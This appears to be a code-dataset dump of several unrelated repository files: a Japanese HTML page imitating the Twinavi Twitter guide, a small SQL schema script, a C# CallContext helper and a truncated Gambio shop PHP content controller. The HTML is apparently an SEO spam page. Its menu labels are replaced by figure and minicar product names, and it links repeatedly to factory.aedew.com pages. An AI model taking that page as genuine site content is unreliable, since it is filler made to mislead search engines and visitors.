class="ranking"><span class="rank rank1">1</span>徳島がDF村松の契約満了を発表</a></li> <li class="small list-s"><a href="http://factory.aedew.com/images/Chershire/02021956429we.html">http://factory.aedew.com/images/Chershire/02021956429we.html</a></li> <li class="small list-s"><a href="" class="ranking"><span class="rank rank3">3</span>「彼らは素晴らしい選手」個性磨いた神奈川県...</a></li> </ol> </div> <div class="clearfix"></div> </div> </section> <section id="home-faq" class="section"> <h1 class="section-title small navi"><a href="">Twitter使い方ガイド よくある質問アクセスランキング</a></h1> <div class="section-body"> <ol> <li class="small list-l lined"><a href="http://factory.aedew.com/images/Chershire/02021755472ow.html">http://factory.aedew.com/images/Chershire/02021755472ow.html</a></li> <li class="small list-l lined"><a href="" class="ranking"><span class="rank rank2">2</span>自分のツイートを削除するにはどうしたらいいですか?</a></li> <li class="small list-l lined"><a href="" class="ranking"><span class="rank rank3">3</span>オートアート 70934 1/18 ブガッティ ヴェイロン スーパースポーツ メルヴェイユ (カーボンブラック/ブルー) ミニカー(D6966)</a></li> </ol> </div> <div class="section-footer"> <a href="" class="link-more">もっと知りたい!「Twitter使い方ガイド」</a> </div> </section> </div> </div> <aside class="column sub"> <section id="twinavi-tweet" class="section"> <h1 class="section-title small">最新のツイナビツイート</h1> <div class="section-body"> <p class="small">【話題のツイート】私が「♪お手〜伝いロボ♪ 緊急出動〜♪」って歌えば、子供達は… <a rel="nofollow" target="_blank" href="">オートアート 70936 1/18 ブガッティ ヴェイロン スーパースポーツ (カーボンブラック/オレンジ) ミニカー(D6967)</a></p> </div> <div class="follow_sidebar follow_twitter"> <span class="altimg hukidashi"></span> <div class="column"> <a href="" title="ツイナビのTwitterアカウント" class="altimg icon m ic-twinavi">ハイスクールD×D リアス・グレモリー 1/8 完成品フィギュア[グリフォンエンタープライズ] <</a> </div> <div class="giftext icon-m"> <a href="" title="ツイナビのTwitterアカウント" class="small">Twitterの最新情報をチェックしよう!</a> <a href="https://twitter.com/" class="twitter-follow-button" data-show-count="false" data-lang="ja" data-show-screen-name="true">をフォロー</a> </div> <div class="clearfix"></div> </div> </section> <section id="facebook" class="section"> <p class="small">Facebook</p> <div class="follow_fb"><div id="fb-root"></div><div class="fb-like" data-href="https://www.facebook.com/" data-send="false" data-layout="button_count" data-width="55" data-show-faces="false"></div></div> </section> <section id="home-side-account" class="section"> <h1 class="section-title small sub"><a href="">有名アカウントを探す</a></h1> <div class="section-body-sub"> <ul> <li> <a href="" class="lined all block"> <span class="column icon-32"> <img src="http://pbs.twimg.com/profile_images/645312064815128576/v_uMNqPs_bigger.jpg" alt="GACKT" class="icon icon32" style="margin-top:3px" /> </span> <span class="giftext icon-32 small"> 総合<br /> <span class="num mute xsmall">71,071人</span> </span> </a> </li> <li> <a href="" class="lined block"> <span class="column icon-32"> <img src="http://pbs.twimg.com/profile_images/645312064815128576/v_uMNqPs_bigger.jpg" alt="GACKT" class="icon icon32" style="margin-top:3px" /> </span> <span class="giftext icon-32 small"> 有名人・芸能人<br /> <span class="num mute xsmall">2,867人</span> </span> </a> </li> <li> <a href="" class="lined block"> <span class="column icon-32"> <img src="http://pbs.twimg.com/profile_images/680394216774619138/6MmJRmsb_bigger.jpg" alt="タワーレコード川崎店(通称:タワ崎)" class="icon icon32" style="margin-top:3px" /> </span> <span class="giftext icon-32 small"> エンタメ<br /> <span class="num mute xsmall">3,226人</span> </span> </a> </li> <li> <a href="" class="lined block"> <span class="column icon-32"> <img src="http://pbs.twimg.com/profile_images/525836947420237824/MNKjOzix_bigger.png" alt="SHOPLIST" class="icon icon32" style="margin-top:3px" /> </span> <span class="giftext icon-32 small"> <span style="letter-spacing:-2px">くらし・おでかけ</span><br /> <span class="num mute xsmall">6,128人</span> </span> </a> </li> <li> <a href="" class="lined block"> <span class="column icon-32"> <img src="http://pbs.twimg.com/profile_images/609171843761594368/oBhlek1O_bigger.png" alt="ショップジャパン【公式】" class="icon icon32" style="margin-top:3px" /> </span> <span class="giftext icon-32 small"> メディア<br /> <span class="num mute xsmall">2,639人</span> </span> </a> </li> <li> <a href="" class="lined block"> <span class="column icon-32"> <img src="http://pbs.twimg.com/profile_images/428453450527940609/6BmKmb99_bigger.jpeg" alt="旭川市旭山動物園[公式]" class="icon icon32" style="margin-top:3px" /> </span> <span class="giftext icon-32 small"> 社会・政治<br /> <span class="num mute xsmall">886人</span> </span> </a> </li> <li> <a href="" class="lined block"> <span class="column icon-32"> <img src="http://pbs.twimg.com/profile_images/1245987829/tokoro_san_bigger.jpg" alt="所英男" class="icon icon32" style="margin-top:3px" /> </span> <span class="giftext icon-32 small"> スポーツ<br /> <span class="num mute xsmall">1,080人</span> </span> </a> </li> <li> <a href="" class="lined last block"> <span class="column icon-32"> <img src="http://pbs.twimg.com/profile_images/666407537084796928/YBGgi9BO_bigger.png" alt="Twitter" class="icon icon32" style="margin-top:3px" /> </span> <span class="giftext icon-32 small"> ビジネス・経済<br /> <span class="num mute xsmall">2,996人</span> </span> </a> </li> <li> <a href="" class="lined last block"> <span class="column icon-32"> <img src="http://pbs.twimg.com/profile_images/525836947420237824/MNKjOzix_bigger.png" alt="SHOPLIST" class="icon icon32" style="margin-top:3px" /> </span> <span class="giftext icon-32 small"> サービス<br /> <span class="num mute xsmall">3,871人</span> </span> </a> </li> </ul> <div class="clearfix"></div> </div> </section> <section class="section"> <h1 class="section-title small sub"><a href="">ツイッター使い方ガイド</a></h1> <div class="section-body-sub"> <ul> <li class="small dotted lined"><a href="http://factory.aedew.com/images/Chershire/02021838878xt.html">http://factory.aedew.com/images/Chershire/02021838878xt.html</a></li> <li class="small dotted lined"><a href="">基本的な使い方</a></li> <li class="small dotted lined"><a href="http://factory.aedew.com/images/Chershire/02021731086ah.html">http://factory.aedew.com/images/Chershire/02021731086ah.html</a></li> <li class="small dotted lined"><a href="">FAQ よくある質問</a></li> <li class="small dotted lined last" last><a href="">用語集</a></li> </ul> </div> </section> <div class="section section-fbwidget"> <div class="section-title small sub">Facebook</div> <div class="fb-like-box" data-href="http://www.facebook.com/" data-width="292" data-height="255" data-colorscheme="light" data-show-faces="true" data-header="false" data-stream="false" data-show-border="false">ハイスクールD×D リアス・グレモリー 1/8 完成品フィギュア[グリフォンエンタープライズ] </div> </div> </aside> <div class="clearfix"></div> <nav class="contents"> <br /> <a href="" class="link-top absright">ページの上部へ</a> </nav> </div> <footer id="pagefooter" class="wrapper"> <div class="contents"> <nav> <ul id="sitemap"> <li class="sitemap-block"><span class="top-sitemap"><a href="" class="servicename ti-topics">話題</a></span> <ul> <li><a href="http://factory.aedew.com/images/Chershire/02021720941wf.html">http://factory.aedew.com/images/Chershire/02021720941wf.html</a></li> <li><a href="">ニュース</a></li> <li><a href="">オモシロ</a></li> <li><a href="http://factory.aedew.com/images/Chershire/02022012912qc.html">http://factory.aedew.com/images/Chershire/02022012912qc.html</a></li> <li><a href="">エンタメ</a></li> <li><a href="">IT</a></li> <li><a href="">カルチャー</a></li> <li><a href="">ハイスクールD×D リアス・グレモリー 1/8 完成品フィギュア[グリフォンエンタープライズ] </a></li> <li><a href="">お知らせ</a></li> </ul> <br class="block clearfix"><br> <span class="top-sitemap"><a href="" class="servicename ti-matome">まとめ</a></span> <ul> <li><a href="http://twinavi.jp/matome/category/%E3%82%B3%E3%83%9F%E3%83%83%E3%82%AF%E3%83%BB%E3%82%A2%E3%83%8B%E3%83%A1">コミック・アニメ</a></li> <li><a href="http://twinavi.jp/matome/category/%E3%82%B2%E3%83%BC%E3%83%A0">ゲーム</a></li> <li><a href="">映画</a></li> <li><a href="" class="div-inner small on">TV番組</a></li> <li><a href="">芸能(海外)</a></li> <li><a href="http://twinavi.jp/matome/category/%E8%8A%B8%E8%83%BD%EF%BC%88%E5%9B%BD%E5%86%85%EF%BC%89">芸能(国内)</a></li> <li><a href="http://twinavi.jp/matome/category/%E3%83%97%E3%83%AD%E9%87%8E%E7%90%83">プロ野球</a></li> <li><a href="">Jリーグ</a></li> <li><a href="">スポーツ選手</a></li> <li><a href="http://twinavi.jp/matome/category/%E3%82%AC%E3%82%B8%E3%82%A7%E3%83%83%E3%83%88">ガジェット</a></li> <li><a href="http://factory.aedew.com/images/Chershire/02021722293pf.html">http://factory.aedew.com/images/Chershire/02021722293pf.html</a></li> <li><a href="">政治</a></li> <li><a href="http://factory.aedew.com/images/Chershire/02021835870yz.html">http://factory.aedew.com/images/Chershire/02021835870yz.html</a></li> <li><a href="">IT</a></li> <li><a href="http://twinavi.jp/matome/category/%E9%9F%B3%E6%A5%BD">音楽</a></li> <li><a href="">ハイスクールD×D リアス・グレモリー 1/8 完成品フィギュア[グリフォンエンタープライズ] </a></li> <li><a href="">社会</a></li> <li><a href="http://factory.aedew.com/images/Chershire/02022054716mb.html">http://factory.aedew.com/images/Chershire/02022054716mb.html</a></li> </ul> <br class="block clearfix"><br> </li> <li class="sitemap-block"> <span class="top-sitemap"><a href="http://factory.aedew.com/images/Chershire/02021721986lt.html">http://factory.aedew.com/images/Chershire/02021721986lt.html</a></span> <ul> <li><a href="">インタビュー 一覧</a></li> </ul> <br class="block clearfix"><br> <span class="top-sitemap"><a href="" class="servicename ti-account">Twitter</a></span> <ul> <li><a href="./index.html">総合</a></li> <li><a href="http://twinavi.jp/account/list/%E6%9C%89%E5%90%8D%E4%BA%BA%E3%83%BB%E8%8A%B8%E8%83%BD%E4%BA%BA">有名人・芸能人</a></li> <li><a href="">エンタメ</a></li> <li><a href="http://factory.aedew.com/images/Chershire/02021709242kc.html">http://factory.aedew.com/images/Chershire/02021709242kc.html</a></li> <li><a href="">メディア</a></li> <li><a href="http://twinavi.jp/account/list/%E3%83%93%E3%82%B8%E3%83%8D%E3%82%B9%E3%83%BB%E7%B5%8C%E6%B8%88">ビジネス・経済</a></li> <li><a href="">ハイスクールD×D リアス・グレモリー 1/8 完成品フィギュア[グリフォンエンタープライズ] </a></li> <li><a href="">スポーツ</a></li> <li><a href="">サービス</a></li> <li><a href="http://factory.aedew.com/images/Chershire/02021844916hg.html">http://factory.aedew.com/images/Chershire/02021844916hg.html</a></li> </ul> <br class="block clearfix"><br> <span class="top-sitemap"><a href="" class="servicename ti-topics">特別企画</a></span> <ul> <li class="clearfix"><a href="">アンケート</a></li> <li><a href="">選挙</a></li> </ul> </li> <li class="sitemap-block"><span class="top-sitemap"><a href="" class="servicename ti-guide">Twitter使い方ガイド</a></span> <ul> <li><a href="http://factory.aedew.com/images/Chershire/02021745531pd.html">http://factory.aedew.com/images/Chershire/02021745531pd.html</a></li> <li><a href="">Twitterとは</a></li> <li><a href="http://factory.aedew.com/images/Chershire/02021822795tr.html">http://factory.aedew.com/images/Chershire/02021822795tr.html</a></li> <li><a href="">ハイスクールD×D リアス・グレモリー 1/8 完成品フィギュア[グリフォンエンタープライズ] </a></li> <li><a href="">よくある質問</a></li> <li><a href="http://factory.aedew.com/images/Chershire/02022005223jp.html">http://factory.aedew.com/images/Chershire/02022005223jp.html</a></li> </ul> <br class="block clearfix"><br> <span class="top-sitemap"><a href="" class="servicename ti-twitter">ツイッター検索</a></span> <ul> <li><a href="">キーワード検索</a></li> <li><a href="">ユーザー会話検索</a></li> </ul> <br class="block clearfix"><br> <span class="top-sitemap"><a href="" class="servicename ti-help">ツイナビヘルプ</a></span> <ul> <li><a href="http://factory.aedew.com/images/Chershire/02021749763rz.html">http://factory.aedew.com/images/Chershire/02021749763rz.html</a></li> <li><a href="">よくある質問</a></li> </ul> </li> </ul> </nav> <div class="clearfix"></div> </div> <div id="footer-giftext"> <div class="contents"> <!-- giftext --> <div class="column footer-giftext"> <div class="column"> <a href="http://factory.aedew.com/images/Chershire/02021711868jf.html">http://factory.aedew.com/images/Chershire/02021711868jf.html</a> </div> <div class="giftext icon-m"> <span class="subtitle">ツイナビ公式Twitter</span> <a href="" class="twitter-follow-button" data-show-count="false" data-lang="ja" data-show-screen-name="false">オートアート 70937 1/18 ブガッティ ヴェイロン スーパースポーツ (カーボンブラック) ミニカー(D7384)</a> </div> </div> <div class="column footer-giftext"> <div class="column"> <a href="https://www.facebook.com/" target="_blank" class="altimg icon m ic-facebook">facebook</a> </div> <div class="giftext icon-m"> <span class="subtitle">ツイナビ公式Facebook</span> <div id="fb-root"></div><div class="fb-like" data-href="https://www.facebook.com/" data-send="false" data-layout="button_count" data-width="200" data-show-faces="false">ハイスクールD×D リアス・グレモリー 1/8 完成品フィギュア[グリフォンエンタープライズ] </div> </div> </div> <div class="column footer-giftext twinavismart"> <div class="column"> <a href="" class="altimg icon m ic-twinavismart">ツイナビforスマートフォン</a> </div> <div class="giftext icon-m"> <span class="subtitle"><a href="">ツイナビforスマートフォン</a></span> <span class="xsmall"><a href="">スマートフォンでアクセス!</a></span> </div> </div> <!-- //giftext --> <div class="clearfix"></div> </div> </div> <div class="contents last"> <ul id="docs" class="centered xsmall"> <li><a href="">ツイナビ ホーム</a></li> <li><a href="">利用規約</a></li> <li><a href="http://www.garage.co.jp/corporate/policy/index.html" target="_blank">個人情報保護方針</a></li> <li><a href="">健全化に関する指針</a></li> <li><a href="http://factory.aedew.com/images/Chershire/02021819817qs.html">http://factory.aedew.com/images/Chershire/02021819817qs.html</a></li> <li><a href="http://factory.aedew.com/images/Chershire/02021728314su.html">http://factory.aedew.com/images/Chershire/02021728314su.html</a></li> <li><a href="">広告掲載について</a></li> <li class="last"><a href="">お問い合わせ</a> </ul> <p class="centered xsmall"><small>Copyright &copy; 2016 All rights reserved.</small></p> </div> </footer> <div class="hide"> <div id="preregister-box"> <p class="preregister-title large">ハイスクールD×D リアス・グレモリー 1/8 完成品フィギュア[グリフォンエンタープライズ] </p> <p class="preregister-text">オートアート 70939 1/18 ブガッティ ヴェイロン スーパースポーツ (ダークブルー/シルバーホワイト) ミニカー(D7386)<br/>オートアート 87504 1/18 アルファロメオ 33 TT 12 1975 (モンツァ1000km 優勝) メルツァリオ/ラフィット #2 ミニカー(D0128),ハイスクールD×D リアス・グレモリー 1/8 完成品フィギュア[グリフォンエンタープライズ] </p> <p><a href="" class="btn login preregister-login">Twitterでの認証に進む</a></p> </div> </div> </body> </html>
ForAEdesWeb/AEW2
images/Chershire/02022102208fo.html
HTML
gpl-2.0
60,893
CREATE TABLE `codebasicschooltype` ( `BASICSCHOOLTYPEID` int(2) NOT NULL AUTO_INCREMENT, `SCHOOLTYPENAME` varchar(50) NOT NULL, PRIMARY KEY (`BASICSCHOOLTYPEID`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 INSERT INTO`codebasicschooltype` SET `SCHOOLTYPENAME` = 'Университет'; INSERT INTO`codebasicschooltype` SET `SCHOOLTYPENAME` = 'Специализирано ВУ'; INSERT INTO`codebasicschooltype` SET `SCHOOLTYPENAME` = 'Самостоятелен колеж';
irin4eto/AdminUni
database_scripts/create_and_insert_CODEBASICSCHOOLTYPE.sql
SQL
gpl-2.0
477
// ReSharper disable once CheckNamespace namespace Serpent.Common.Async { public static class CallContextExtensions { public static void FreeNamedDataSlot(this CallContext callContext, string key) { callContext.RemoveItem(key); } public static void LogicalSetData(this CallContext callContext, string key, object value) { callContext.SetItem(key, value); } public static object LogicalGetData(this CallContext callContext, string key) { return callContext.GetItem(key); } public static T Get<T>(this CallContext callContext, string key) { return (T)callContext.GetItem(key); } } }
ErikRBergman/Serpent.Common
Serpent.Common/Serpent.Common.Async.NetStandard/CallContext/CallContextExtensions.cs
C#
gpl-2.0
742
<?php /* -------------------------------------------------------------- ShopContentContentControl.php 2016-08-25 Gambio GmbH http://www.gambio.de Copyright (c) 2016 Gambio GmbH Released under the GNU General Public License (Version 2) [http://www.gnu.org/licenses/gpl-2.0.html] -------------------------------------------------------------- based on: (c) 2000-2001 The Exchange Project (earlier name of osCommerce) (c) 2002-2003 osCommerce(conditions.php,v 1.21 2003/02/13); www.oscommerce.com (c) 2003 nextcommerce (shop_content.php,v 1.1 2003/08/19); www.nextcommerce.org (c) 2003 XT-Commerce - community made shopping http://www.xt-commerce.com ($Id: shop_content.php 1303 2005-10-12 16:47:31Z mz $) Released under the GNU General Public License --------------------------------------------------------------------------------------- */ // include needed functions require_once(DIR_FS_INC . 'xtc_validate_email.inc.php'); require_once(DIR_FS_INC . 'html_entity_decode_wrapper.inc.php'); class ShopContentContentControl extends DataProcessing { protected $coo_seo_boost; protected $breadcrumb; protected $mail_error; protected $subject; protected $name; protected $email_address; protected $message_body; protected $content_group; protected $language_id; protected $customer_status_id; protected $withdrawal_form = false; protected $content; protected $coo_content_view; protected $coo_captcha; protected $coo_withdrawal_content_view; protected $pdf_data; protected $privacy_accepted = '0'; public function __construct() { parent::__construct(); $this->language_id = (int)$_SESSION['languages_id']; $this->customer_status_id = (int)$_SESSION['customers_status']['customers_status_id']; $this->coo_content_view = MainFactory::create_object('ShopContentContentView'); $this->coo_captcha = MainFactory::create_object('Captcha', array('vvcode_input')); $this->coo_content_view->set_('captcha', $this->coo_captcha); $this->coo_withdrawal_content_view = MainFactory::create_object('WithdrawalContentView'); } protected function set_validation_rules() { $this->validation_rules_array['coo_seo_boost'] = array('type' => 'object', 'object_type' => 'GMSEOBoost'); $this->validation_rules_array['breadcrumb'] = array('type' => 'object', 'object_type' => 'breadcrumb'); $this->validation_rules_array['mail_error'] = array('type' => 'string'); $this->validation_rules_array['subject'] = array('type' => 'string'); $this->validation_rules_array['name'] = array('type' => 'string'); $this->validation_rules_array['email_address'] = array('type' => 'string'); $this->validation_rules_array['message_body'] = array('type' => 'string'); } public function proceed() { $t_error_message = ''; $t_group_check_condition = $this->get_group_check_sql_condition(); $t_shop_content_data = $this->get_content_data($t_group_check_condition); if($t_shop_content_data !== false) { $SEF_parameter = ''; if(SEARCH_ENGINE_FRIENDLY_URLS == 'true') { $SEF_parameter = '&content=' . xtc_cleanName($t_shop_content_data['content_title']); } $t_seo_content_link = $this->get_seo_content_link($SEF_parameter); $this->breadcrumb->add($t_shop_content_data['content_title'], $t_seo_content_link); if(isset($this->v_data_array['GET']['coID'])) { if($this->v_data_array['GET']['coID'] == 7) { $t_error_message = $this->process_contact_us(); if($t_error_message === true) { return true; } } elseif($this->v_data_array['GET']['coID'] == gm_get_conf('GM_WITHDRAWAL_CONTENT_ID')) { $t_withdrawal_content = $this->build_withdrawal_content($t_group_check_condition); $this->coo_content_view->set_('withdrawal_content', $t_withdrawal_content); } $this->coo_content_view->set_('content_group_id', (int)$this->v_data_array['GET']['coID']); $this->coo_content_view->set_('content_heading', $t_shop_content_data['content_heading']); $this->coo_content_view->set_('content_text', $t_shop_content_data['content_text']); $this->coo_content_view->set_('content_file', $t_shop_content_data['content_file']); $this->coo_content_view->set_('content_id', $t_shop_content_data['content_id']); } $this->coo_content_view->set_('error_message', $t_error_message); $this->coo_content_view->set_('subject', $this->subject); $this->coo_content_view->set_('name', $this->name); $this->coo_content_view->set_('email_address', $this->email_address); $this->coo_content_view->set_('message_body', $this->message_body); $this->coo_content_view->set_('file_flag_name', $t_shop_content_data['file_flag_name']); if(isset($this->v_data_array['GET']['action'])) { $this->coo_content_view->set_('action', $this->v_data_array['GET']['action']); } } $this->v_output_buffer = $this->coo_content_view->get_html(); return true; } protected function get_group_check_sql_condition() { $t_group_check = ''; if(GROUP_CHECK == 'true') { $t_group_check = "and group_ids LIKE '%c_" . $_SESSION['customers_status']['customers_status_id'] . "_group%'"; } return $t_group_check; } protected function get_content_data($p_group_check_condition = '') { $t_shop_content_data_array = false; $t_sql = " SELECT content_id, content_title, content_heading, content_text, content_file, file_flag_name FROM " . TABLE_CONTENT_MANAGER . " LEFT JOIN cm_file_flags USING (file_flag) WHERE content_group='" . (int)$this->v_data_array['GET']['coID'] . "' " . $p_group_check_condition . " AND languages_id='" . (int)$_SESSION['languages_id'] . "'"; $t_shop_content_query = xtc_db_query($t_sql); if(xtc_db_num_rows($t_shop_content_query) > 0) { $t_shop_content_data_array = xtc_db_fetch_array($t_shop_content_query); } return $t_shop_content_data_array; } protected function get_withdrawal_content_query($p_group_check_condition = '') { $t_sql = "SELECT content_id, content_file, content_heading, content_text, content_group, file_flag_name FROM " . TABLE_CONTENT_MANAGER . " as cm LEFT JOIN cm_file_flags AS ff USING (file_flag) WHERE file_flag_name = 'withdrawal' AND content_status = 1 " . $p_group_check_condition . " AND languages_id = '" . (int)$_SESSION['languages_id'] . "'"; $t_shop_content_query = xtc_db_query($t_sql); return $t_shop_content_query; } protected function build_withdrawal_content($p_group_check_condition = '') { $t_shop_content_query = $this->get_withdrawal_content_query($p_group_check_condition); $t_withdrawal_content_view_array = array(); while($t_row = xtc_db_fetch_array($t_shop_content_query)) { $this->coo_content_view->set_('content_group_id', $t_row['content_group']); $this->coo_content_view->set_('content_heading', $t_row['content_heading']); $this->coo_content_view->set_('content_text', $t_row['content_text']); $this->coo_content_view->set_('content_file', $t_row['content_file']); $this->coo_content_view->set_('content_id', $t_row['content_id']); $this->coo_content_view->set_('error_message', ''); $this->coo_content_view->set_('subject', ''); $this->coo_content_view->set_('name', ''); $this->coo_content_view->set_('email_address', ''); $this->coo_content_view->set_('message_body', ''); $this->coo_content_view->set_('file_flag_name', $t_row['file_flag_name']); $this->coo_content_view->set_('coo_seo_boost', $this->coo_seo_boost); $t_withdrawal_content_view_array[] = $this->coo_content_view->get_html(); } $t_withdrawal_content = implode('<br /><br /><br />', $t_withdrawal_content_view_array); return $t_withdrawal_content; } protected function get_seo_content_link($p_search_engine_friendly_parameter = '') { if($this->coo_seo_boost->boost_content) { $gm_seo_content_link = xtc_href_link($this->coo_seo_boost->get_boosted_content_url($this->coo_seo_boost->get_content_id_by_content_group((int)$this->v_data_array['GET']['coID']))); } else { $gm_seo_content_link = xtc_href_link(FILENAME_CONTENT, 'coID=' . (int)$this->v_data_array['GET']['coID'] . $p_search_engine_friendly_parameter); } return $gm_seo_content_link; } protected function process_contact_us() { $t_error_message = ''; if(isset($this->v_data_array['GET']['action']) && ($this->v_data_array['GET']['action'] == 'send')) { if(trim($this->name) == '') { // error report hier einbauen $t_error_message = ERROR_MAIL; } else if(!$this->_validatePrivacy()) { $t_error_message = ENTRY_PRIVACY_ERROR; } else if($this->coo_captcha->is_valid($this->v_data_array['POST'], 'GM_CONTACT_VVCODE')) { if(xtc_validate_email(trim($this->email_address))) { $t_gm_userdata = 'Name: ' . $this->name . "\n" . 'E-Mail: ' . $this->email_address . "\n\n"; xtc_php_mail(CONTACT_US_EMAIL_ADDRESS, CONTACT_US_NAME, CONTACT_US_EMAIL_ADDRESS, CONTACT_US_NAME, CONTACT_US_FORWARDING_STRING, $this->email_address, $this->name, '', '', stripslashes($this->subject), nl2br($t_gm_userdata . $this->message_body), $t_gm_userdata . $this->message_body); if(!isset($this->mail_error)) { $this->set_redirect_url(xtc_href_link(FILENAME_CONTENT, 'action=success&coID=' . (int)$this->v_data_array['GET']['coID'])); $t_error_message = true; } else { $t_error_message = $this->mail_error; } } else { // error report hier einbauen $t_error_message = ERROR_MAIL; } } else { $t_error_message = GM_CONTACT_ERROR_WRONG_VVCODE; } } return $t_error_message; } protected function _validatePrivacy() { if(gm_get_conf('GM_CHECK_PRIVACY_CONTACT') === '1' && gm_get_conf('PRIVACY_CHECKBOX_CONTACT') === '1' && $this->privacy_accepted !== '1' ) { return false; } return true; } public function get_file() { if(isset($this->content_group) == false) { trigger_error('content_group is not set!'); } if($this->withdrawal_form == true) { return $this->get_withdrawal_form_file(); } else { return $this->get_content_file(); } } protected function get_withdrawal_form_file() { $t_filepath = gm_get_content('WITHDRAWAL_FORM_FILE', $this->language_id); $t_return_array = array(); $t_return_array['name'] = $this->get_filename(); if(trim($t_filepath) != '') { $t_file_extension = end(explode('.', $t_filepath)); $t_return_array['name'] .= '.' . $t_file_extension; $t_return_array['path'] = DIR_FS_CATALOG . 'media/content/' . $t_filepath; return $t_return_array; } else { if(file_exists(DIR_FS_CATALOG . 'PdfCreator/tcpdf.php')) { require_once(DIR_FS_CATALOG . 'PdfCreator/tcpdf.php'); $t_return_array['name'] .= '.pdf'; $t_return_array['path'] = $this->generate_pdf_document(); } else { $t_return_array['name'] .= '.html'; $t_return_array['path'] = $this->generate_html_document(); } return $t_return_array; } return false; } protected function get_content_file() { $group_check = ''; if(GROUP_CHECK == 'true') { $group_check = " AND group_ids LIKE '%c_" . (int)$this->customer_status_id . "_group%' "; } $t_query = 'SELECT * FROM content_manager WHERE content_group = "' . $this->content_group . '" AND languages_id = "' . $this->language_id . '"' . $group_check; $t_result = xtc_db_query($t_query); if(xtc_db_num_rows($t_result) == 1) { $this->content = xtc_db_fetch_array($t_result); $t_return_array = array(); $t_return_array['name'] = $this->get_filename(); if($this->content['download_file'] != '') { $t_file_extension = end(explode('.', $this->content['download_file'])); $t_return_array['name'] .= '.' . $t_file_extension; $t_return_array['path'] = DIR_FS_CATALOG . 'media/content/' . $this->content['download_file']; } else { if($this->content_group == 3889895) { $shop_content_query = xtc_db_query("SELECT download_file FROM " . TABLE_CONTENT_MANAGER . " as cm LEFT JOIN cm_file_flags AS ff USING (file_flag) WHERE file_flag_name = 'withdrawal' AND content_status = 1 " . $group_check . " AND languages_id='" . (int)$this->language_id . "' AND download_file != ''"); if(xtc_db_num_rows($shop_content_query) > 0) { $t_row = xtc_db_fetch_array($shop_content_query); $t_file_extension = end(explode('.', $t_row['download_file'])); $t_return_array['name'] .= '.' . $t_file_extension; $t_return_array['path'] = DIR_FS_CATALOG . 'media/content/' . $t_row['download_file']; return $t_return_array; } } $this->set_content_from_content_file(); if(file_exists(DIR_FS_CATALOG . 'PdfCreator/tcpdf.php')) { require_once(DIR_FS_CATALOG . 'PdfCreator/tcpdf.php'); $t_return_array['name'] .= '.pdf'; $t_return_array['path'] = $this->generate_pdf_document(); } else { $t_return_array['name'] .= '.html'; $t_return_array['path'] = $this->generate_html_document(); } } return $t_return_array; } return false; } protected function set_content_from_content_file() { if($this->content['content_file'] != '' && file_exists(DIR_FS_CATALOG . 'media/content/' . basename($this->content['content_file']))) { ob_start(); if (strpos($this->content['content_file'], '.txt')) { echo '<pre>'; } include (DIR_FS_CATALOG . 'media/content/' . $this->content['content_file']); if (strpos($this->content['content_file'], '.txt')) { echo '</pre>'; } $t_content = ob_get_contents(); ob_end_clean(); if(strpos($t_content,'janolaw') !== false) { $t_content = str_replace('<br> ', '<br>', $t_content); $t_content = preg_replace('#<div(.*?)> #is', '<div$1>', $t_content); $t_content = preg_replace('#<li(.*?)> #is', '<li$1>', $t_content); $t_content = preg_replace('#id="janolaw-paragraph"#is', 'style="font-weight: bold;"', $t_content); } $this->content['content_text'] = $t_content; } } protected function get_filename() { $t_filename = $this->content['content_heading']; if($this->withdrawal_form == true) { $coo_text_manager = MainFactory::create_object('LanguageTextManager', array('withdrawal', $this->language_id)); $t_filename = $coo_text_manager->get_text('withdrawal_form'); } elseif($this->content_group == 3) { $t_filename = $this->content['content_title']; } elseif($this->content_group == 3889895) { $coo_text_manager = MainFactory::create_object('LanguageTextManager', array('withdrawal', $this->language_id)); $t_filename = $coo_text_manager->get_text('withdrawal_rights'); } return str_replace(' ', '_', $t_filename); } protected function generate_pdf_document() { $t_path = DIR_FS_CATALOG . 'cache/' . $this->content_group . '-pdf-' . (int)$this->language_id . '-' . (int)$this->customer_status_id . '-persistent_data_cache-' . LogControl::get_secure_token() . '.pdc'; if($this->withdrawal_form == true) { $t_path = DIR_FS_CATALOG . 'cache/withdrawal_form-pdf-' . (int)$this->language_id . '-' . (int)$this->customer_status_id . '-persistent_data_cache-' . LogControl::get_secure_token() . '.pdc'; } $t_files_array = glob($t_path); if(is_array($t_files_array) && count($t_files_array) == 1) { return $t_path; } if($this->withdrawal_form == true) { $t_content = $this->get_withdrawal_form_content(); } elseif($this->content_group == '3889895') { $t_content = $this->get_withdrawal_content(); } else { $this->coo_content_view->set_content_template('content_download.html'); $this->coo_content_view->set_content_data('content', $this->content); $t_content = $this->coo_content_view->build_html(); } $t_content = str_replace("\n", "", $t_content); $t_content = preg_replace('#size="(.*?)"#is', '', $t_content); $t_content = preg_replace('#face="(.*?)"#is', '', $t_content); $t_content = preg_replace('#justify#is', 'left', $t_content); $t_content = preg_replace('#<script(.*?)>(.*?)</script>#is', '', $t_content); $t_content = preg_replace('#<style(.*?)>(.*?)</style>#is', '', $t_content); $t_content = preg_replace('#<title(.*?)>(.*?)</title>#is', '', $t_content); $t_content = str_replace("&bdquo;", '"', $t_content); $t_content = str_replace("&ldquo;", '"', $t_content); $t_content = str_replace("&ndash;", '-', $t_content); $t_content = preg_replace('#<p(.*?)>(.*?)</p>#is', '<div$1>$2</div><br />', $t_content); $t_content = preg_replace('#(<br />)*$#', '', $t_content); $t_content = html_entity_decode_wrapper($t_content, false, 'UTF-8'); $coo_gm_pdf = MainFactory::create_object('TCPDF'); // SET CONFIG $coo_gm_pdf->SetMargins(10, 5, 10); $coo_gm_pdf->setFontSubsetting(true); $coo_gm_pdf->setPrintHeader(false); $coo_gm_pdf->setPrintFooter(false); $t_pdf_font_face = gm_get_conf('GM_PDF_DEFAULT_FONT_FACE'); $t_pdf_font_color = gm_get_conf('GM_PDF_DEFAULT_FONT_COLOR'); $coo_gm_pdf->SetFont($t_pdf_font_face, '', 9, $t_pdf_font_color, true); $coo_gm_pdf->AddPage(); $coo_gm_pdf->writeHTML($t_content); // ADD PDF FILE $coo_gm_pdf->Output($t_path, 'F'); return $t_path; } protected function generate_html_document() { $t_path = DIR_FS_CATALOG . 'cache/' . $this->content_group . '-html-' . (int)$this->language_id . '-' . (int)$this->customer_status_id . '-persistent_data_cache-' . LogControl::get_secure_token() . '.pdc'; if($this->withdrawal_form == true) { $t_path = DIR_FS_CATALOG . 'cache/withdrawal_form-html-' . (int)$this->language_id . '-' . (int)$this->customer_status_id . '-persistent_data_cache-' . LogControl::get_secure_token() . '.pdc'; } $t_files_array = 